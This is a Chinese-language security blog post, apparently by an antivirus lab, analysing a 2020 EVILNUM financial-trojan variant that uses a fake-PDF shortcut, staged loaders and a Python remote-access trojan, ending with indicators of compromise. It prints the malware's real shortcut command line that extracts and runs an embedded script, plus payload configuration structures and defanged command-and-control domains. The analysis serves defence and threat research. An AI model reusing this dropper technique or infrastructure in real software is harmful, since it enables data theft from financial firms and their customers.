freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+
快捷方式暗藏玄机,金融木马EVILNUM再次变种
安全豹 2020-07-23 09:56:27 213951

概述

近期金山毒霸安全实验室监控到金融木马EVILNUM新变种。样本携带的诱饵PDF由英国能源公司first-utility的PDF账单、银行 卡、驾 照图片组成,如下图所示。通过诱饵文件内容进行关联,发现此批样本创建时间均为2018-02-13 07:29:00,出现时间集中在2020年4月至今,早期版本攻击类型LNK+JSRAT方式,从5月开始出现LNK+JS+PE+PYTHONRAT的攻击方式。通过对其JSLoader关联分析,确定其为EVILNUM新变种。

演变历程:

根据情报,EVILNUM最早可以追溯到2018年。其显著特征是使用LNK文件进行攻击,末端载荷多采用脚本实现,通过JS+外部工具的方式窃取情报,其脚本可能会加载多家恶意软件即服务(MaaS)提供商的后门程序以及c#恶意组件,过去其攻击流程中的C2均采用云盘、社交网站、图床一类的网站作为信息存储,此次捕获的样本采用了一些比较有迷惑性的域名,如CRM、VOIP等服务类关键字域名进行伪装。

传播方式:

样本通过鱼叉式电子邮件发送,其中包含指向云盘上托管的ZIP文件的链接,压缩文件内包含LNK攻击文件,其诱饵文件为金融机构开设新帐户时需要提供的截图文件。

攻击目标:

Evilnum集团的主要目标是金融技术公司,监视并窃取目标公司及其客户的财务信息。重点窃取金融文档和凭据:

客户清单,投资和交易操作的电子表格和文档

内部文档

交易软件/平台的软件许可和凭证

浏览器的Cookies

邮件凭证

信用 卡信息和身份 证明文件

正文

该样本目前更新活跃,其Loader和攻击载荷也在不断迭代,行文分析样本为7月最新。样本伪装成PDF图标,实则为快捷方式LNK文件,运行后通过解析LNK自身携带的数据,释放出账单PDF并打开以迷惑用户,同时释放出伪装成java程序的ddpp.exe并创建计划任务,待计划任务启动ddpp.exe后样本通过对自身携带的部分数据进行解密执行后与crm-domain.net通讯,通过云控手段获取下一步操作,现阶段取得得数据经过解密执行后释放出fplayer.exe该文件伪装成NVDIA驱动相关程序,通过计划任务持久化,fplayer.exe经过多次解密最终与云端通讯,现阶段获取得数据经过解密后其行为为内存加载exe操作,其加载程序为py2exe打包得python程序,通过对该程序解包、反混淆、反编译,最终得到其python源码为远控程序。

木马文件落地部分攻击流程如上图所示,木马实际为伪装成PDF的LNK文件,攻击流程采用多段式加载,多种对抗,包含多个云控接口,可根据云控灵活配置升级,行文将通过四部分进行叙述。

一、LNK执行阶段

​C:\Windows\System32\cmd.exe /c path=%windir%\system32&move "VerificationDocuments.pdf.lnk" "%tmp%\1.lnk"&type "%tmp%\1.lnk"|find "END2">"%tmp%\0.js"&wscript "%tmp%\0.js"​

LNK启动后将自身移动到temp目录下1.lnk,此后通过标记"END2"提取出附加的JS脚本并执行。

JS脚本运行后,获取APPDATA路径,拼凑释放路径,如图1。

图1

从1.LNK读取偏移2505-684612位置的PDF文件释放,并运行,以达到伪装效果。如图2。

图2

将自身拷贝到%appdata%\Microsoft\Credentials\MediaPlayer\VideoManager\media.js再次运行,通过判断脚本所在目录决定是否释放PE,条件满足则读取1.lnk偏移687117-262144之间的数据释放PE文件。并为其创建计划任务。如图3。

图3

释放PE后,脚本对LNK、JS、相关工作目录进行自删除,至此JS执行完毕,LNK阶段工作执行完毕。

二、ddpp.exe执行阶段

ddpp.exe在当前执行阶段起升级部署作用,在分析时云控代码执行的行为为部署fplayer.exe,其内部代码经过充分伪装,静态查看与JAVA进程非常接近,内部API调用采用底层调用方式,对抗API断点,长时间Sleep对抗反沙箱。

ddpp启动后读取自身偏移0x9526处的数据,进行解密,解密后数据如图4。

图4

由于其解密方式与下文fplayer.exe中代码解密方式一致,限于篇幅,故此处暂略过解密过程,下文叙述其解密规则。解密完成后将代码按照其配置分段拷贝到堆空间指定位置处,之后对地址进行重定位,计算API地址填充修复,最终创建线程执行解密后的代码。如图5。

图5

代码执行后,获取命令行参数,根据参数构建通讯GET请求。通过GET方式获取云控数据。如图6。

图6

通过加载云控逻辑,释放fplayer.exe到%appdata%\Microsoft\Media Player\Player\下,该程序与ddpp.exe类似伪装成英伟达驱动相关程序,其实际工作内容仍然靠云控下发。图7为文件释放并为其创建计划任务启动。

图7

至此ddpp.exe云控代码执行完成后退出,fplayer最终承载了工作任务的加载,ddpp现阶段云控下发功能只是部署升级,整体流程如图8。

图8

三、fplayer.exe执行阶段

fplayer.exe与ddpp.exe有诸多相似之处,上文未提及配置信息数据结构,将在此节叙述。相比ddpp,fplayer请求接口有变更,参数更少。其作用为整个攻击链条的末端载体。

fplayer启动后读取自身0x9b偏移处信息,解密并将其按配置向堆空间中部署,如图9。

图9

其配置头部结构如下:

struct EncryptInfo
{
    byte xorKeyLength;
    char keyTable[xorKeyLength];
    DWORD dataSize;
    char dataBegin[dataSize];
}

其后续代码根据key表对data进行循环异或解密数据,程序中字符串相关解密操作也遵循此方式。

数据起始位置记录着相关代码和函数信息,结构如下:

struct DataInfo
 {
     byte unKnown;
     DWORD codeImageBase;
     DWORD unKnown1;
     DWORD codeEpOffset;
     DWORD codeTableCount;
     DWORD codeInfoOffset1;
     DWORD codeInfoOffset2;
     ...
 }

转到codeInfo结构,其配置对应的是需要内存执行的代码信息。如下图,结构如下:

struct CodeInfo
{
    byte  index;
    DWORD codeCopyOffset
    DWORD codeSize;
    DWORD unKnown;
    char codeBegin[codeSize];
}

与ddpp类似在堆中指定位置部署好代码之后,创建线程执行堆代码。相似过程不在赘述。以上配置结构适用于云端下发配置信息结构。

堆空间代码执行后,获取命令行参数,构建GET请求,获取最新云端指令。如图10。

图10

通过解析云端配置,最终加载内存PE,如图11。该PE为py2exe打包的python程序,其字节码进行了混淆,对抗反编译,通过反混淆,最终获得其携带脚本,下文将对py2exe程序展开分析。

图11

四、PythonRat加载执行阶段

通过dump内存获取其原始加载程序,经过分析其为py2exe打包的python程序,通过对其资源处理获取被打包的pyc脚本,经过反混淆处理后,反编译后如图12。

图12

脚本通过zlib和base64处理后进一步执行,通过进一步分析,此处为一python包装器,其核心功能为解析自身压缩数据,最终通过memimporter将main.pyc和其他依赖库加载在内存中执行。如图13、14。

图13

图14

至此到达核心工作流程,通过对memimporter相关数据反混淆、反编译,最终确定其核心流程为远控木马,木马与以下地址通讯,获取指令执行。如图15。

图15

木马采用http协议通讯,具有截屏、命令执行、反向SSH Shell、进程操作、文件操作、注册表操作等功能。图16为远控简要工作流程。

图16

下表为远控包含的部分工具类函数表,通过函数名称,不难看出,远控功能丰富,扩展性极强,拥有多种持久化方式和多种命令控制方式。

总结

此EVILNUM变种木马,攻击流程采用多段式加载,多层次内存装载PE,包含多个云控接口,通过休眠、混淆、云端指令随机化等对抗分析查杀,作者精心构造了多个loader,甚至最终内存加载的py2exe启动后仍然还是内存加载pyc执行,可谓是煞费苦心,分析过程中木马成活跃状态,不断有新的C2加入,截止报告完成时间,有多个C2地址注册时间未超过一个月。其最终攻击载荷使用python开发,开发成本低,还会在一定程度上干扰溯源准确性,从反编译结果观察,部分功能尚未完善,仍在加入新功能。金山毒霸安全实验室提醒用户,不要点击来历不明的邮件、压缩包,从而可以降低用户隐私信息被盗取的风险。

IOC

MD5

FC00819C 4CDC8609313041CF345A7DCA

F7673B6855C72B780FDD863D098DA693

07717219943E911AC 4CFB8E485A99CFB

ECDD7454EAE355012DFED03377D6D945

C2

hxxp://crm-domain[.]net

hxxp://leads-management[.]net

hxxp://telecomwl[.]com

hxxp://voipasst[.]com

 

参考

https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html

https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

 
# 系统安全 # 数据安全 # 木马 # 恶意软件 # 盗窃商业机密
本文为 安全豹 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
安全豹 LV.6
金山毒霸官方账号
  • 61 文章数
  • 33 关注者
“微马二代”:针对微信的大规模黑产活动
2022-11-28
Emotet 攻击行动加剧,对抗手段继续升级
2022-04-26
黑客篡改开源项目制作恶意软件,多家外贸企业中招
2022-03-01
文章目录